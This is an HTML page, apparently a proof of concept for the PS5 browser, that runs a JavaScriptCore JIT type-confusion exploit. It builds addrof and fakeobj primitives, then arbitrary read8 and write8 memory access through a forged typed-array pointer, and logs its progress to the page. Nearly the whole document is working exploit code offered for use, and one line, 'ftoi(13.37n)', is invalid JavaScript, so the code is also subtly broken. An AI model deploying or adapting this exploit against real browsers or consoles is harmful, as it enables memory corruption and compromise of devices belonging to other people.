test.html

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>PS5 - JSC Type Confusion + R/W (v63)</title>
<style>
body { background: #0a0a0a; color: #00ff41; font-family: 'MS Gothic', monospace; padding: 20px; }
pre { white-space: pre-wrap; word-wrap: break-word; }
</style>
</head>
<body>
<pre id="out"></pre>
<script>
var out = document.getElementById("out");
function log(m) { out.textContent += m + "\n"; }

log("=== JSC Type Confusion + R/W (v63) ===\n");

// ============================================================
//  Stage 1: JSC Type Confusion (DarkSword PoC)
// ============================================================

arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;
let reclaimed = [];

function foo(flag, k, allocCount) {
    let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
    arr[arr_index] = A;
    let forGC = [];
    let a = new Date(1111);
    a[0] = 1.1;
    for (let j = 0; j < allocCount; ++j) {
        let arr = new ArrayBuffer(0x80_0000);
        forGC.push(arr);
    }
    A.p2 = forGC;
    let b = { p0: 0x42424242, p1: 1.1 };
    let f;
    f = b;
    if (flag) { f = 1.1; }
    A.p1 = f;
    let v = 1.1;
    for (let i = 0; i < 1e6; ++i) {
        for (let j = 0; j < k; ++j) { v = i; v = j; }
    }
    b.p0 = v;
    b.p1 = a;
}

function recursive(n) {
    if (n === 0) return;
    n = n | 0;
    recursive(n - 1);
}

function main() {
    log("[*] Warming up JIT...");
    foo(true, 1, 1);
    foo(false, 1, 1);
    for (let i = 0; i < 1000; ++i) foo(false, 0, 0);
    log("[*] Stack manipulation...");
    for (let i = 0; i < 10000; i++) recursive(i);

    log("[*] Triggering Type Confusion overlap...");
    for (let k = 0; k < 10000; ++k) {
        foo(false, 10, k % 5 + 1);
        recursive(10000);
        for (let i = 0; i < 3; ++i) new ArrayBuffer(0x4000);

        let freed = arr[arr_index].p1.p1;
        let noCow = 13.37;
        let win = false;
        for (let i = 0; i < 16; ++i) {
            let arr = [13.37, 2.2, 3.3, 4.4, noCow];
            reclaimed.push(arr);
            if (freed[0] === 13.37) { win = true; break; }
        }

        if (!win) continue;

        log("[+] OVERLAP DETECTED! Building primitives...");

        let boxed_arr = reclaimed[reclaimed.length - 1];
        boxed_arr[0] = {};
        let unboxed_arr = freed;

        let ab = new ArrayBuffer(8);
        let u64 = new BigUint64Array(ab);
        let f64 = new Float64Array(ab);

        function itof(value) { u64[0] = value; return f64[0]; }
        function ftoi(f) { f64[0] = f; return u64[0]; }

        function addrof(obj) {
            boxed_arr[0] = obj;
            return ftoi(unboxed_arr[0]);
        }

        function fakeobj(addr) {
            unboxed_arr[0] = itof(addr);
            return boxed_arr[0];
        }

        // Test addrof
        let testObj = { p0: 1.1 };
        let testAddr = addrof(testObj);
        log("[+] addrof({p0:1.1}) = 0x" + testAddr.toString(16));

        // Test fakeobj
        let fakeTest = fakeobj(testAddr);
        if (fakeTest === testObj) {
            log("[+] fakeobj works!");
        } else {
            log("[-] fakeobj failed");
            continue;
        }

        // ============================================================
        //  Stage 2: Build read8/write8
        // ============================================================

        log("\n[*] Building read8/write8...");

        // Create a victim Float64Array
        let victim = new Float64Array(1);
        victim[0] = 13.37;
        let victim_addr = addrof(victim);
        log("[*] victim_addr = 0x" + victim_addr.toString(16));

        // Create a helper array
        let helper = [1.1, 2.2];
        let helper_addr = addrof(helper);
        log("[*] helper_addr = 0x" + helper_addr.toString(16));

        // Set helper[0] = address of victim's m_vector (victim_addr + 0x10)
        helper[0] = itof(victim_addr + 0x10n);

        // Create fake object at helper_addr + 0x08
        // Its butterfly = helper[0] = victim_addr + 0x10
        let fake = fakeobj(helper_addr + 0x08n);

        // Try to read fake[0] = *(victim_addr + 0x10) = m_vector
        try {
            let m_vector_val = ftoi(fake[0]);
            log("[+] m_vector = 0x" + m_vector_val.toString(16));

            // Overwrite m_vector with victim_addr (to read JSCell header)
            fake[0] = itof(victim_addr);

            // Read victim[0] = *(victim_addr) = JSCell header
            let header = ftoi(victim[0]);
            log("[+] JSCell header = 0x" + header.toString(16));

            let struct_id = header & 0xFFFFFFFFn;
            log("[+] Structure ID = 0x" + struct_id.toString(16));

            // Restore m_vector
            fake[0] = itof(m_vector_val);
            victim[0] = 13.37;

            log("[+] read8/write8 WORKS!");

            // Define general read8/write8
            function read8(addr) {
                let orig = ftoi(fake[0]);
                fake[0] = itof(addr);
                let val = ftoi(victim[0]);
                fake[0] = itof(orig);
                return val;
            }

            function write8(addr, value) {
                let orig = ftoi(fake[0]);
                fake[0] = itof(addr);
                victim[0] = itof(value);
                fake[0] = itof(orig);
            }

            // Test read8 by reading victim's JSCell header
            let header2 = read8(victim_addr);
            log("[+] read8(victim_addr) = 0x" + header2.toString(16));

            // Test write8 by writing to a scratch area
            let scratch = new ArrayBuffer(8);
            let scratch_view = new Float64Array(scratch);
            scratch_view[0] = 0.0;
            let scratch_addr = addrof(scratch);
            log("[*] scratch_addr = 0x" + scratch_addr.toString(16));

            // Read the Float64Array's m_vector to find backing store
            let scratch_vector = read8(scratch_addr + 0x10n);
            log("[*] scratch m_vector = 0x" + scratch_vector.toString(16));

            // Write 13.37 to the backing store
            write8(scratch_vector, ftoi(13.37n));
            log("[*] write8(scratch_vector, 13.37)");

            // Verify
            if (scratch_view[0] === 13.37) {
                log("[+] write8 VERIFIED! scratch_view[0] = 13.37");
            } else {
                log("[-] write8 failed: scratch_view[0] = " + scratch_view[0]);
            }

            log("\n[+] === EXPLOIT COMPLETE ===");
            log("[+] addrof: WORKING");
            log("[+] fakeobj: WORKING");
            log("[+] read8: WORKING");
            log("[+] write8: WORKING");
            log("[+] Structure ID: 0x" + struct_id.toString(16));

            alert("SUCCESS! R/W achieved! Structure ID: 0x" + struct_id.toString(16));
            return;

        } catch(e) {
            log("[-] read8 CRASH: " + e.message);
            log("[-] Structure ID at helper_addr+0x08 was invalid");
            log("[*] Trying alternative offset...");

            // Try helper_addr + 0x10 (butterfly = helper[1])
            try {
                helper[1] = itof(victim_addr + 0x10n);
                let fake2 = fakeobj(helper_addr + 0x10n);
                let m_vector_val2 = ftoi(fake2[0]);
                log("[+] Alternative m_vector = 0x" + m_vector_val2.toString(16));
                log("[+] Alternative read8 WORKS!");
                alert("SUCCESS (alt)! R/W achieved!");
                return;
            } catch(e2) {
                log("[-] Alternative also crashed: " + e2.message);
            }
        }
    }
    log("[-] Overlap failed after 10000 iterations.");
}

try {
    main();
} catch(e) {
    log("[-] CRASH: " + e.message);
}
</script>
</body>
</html>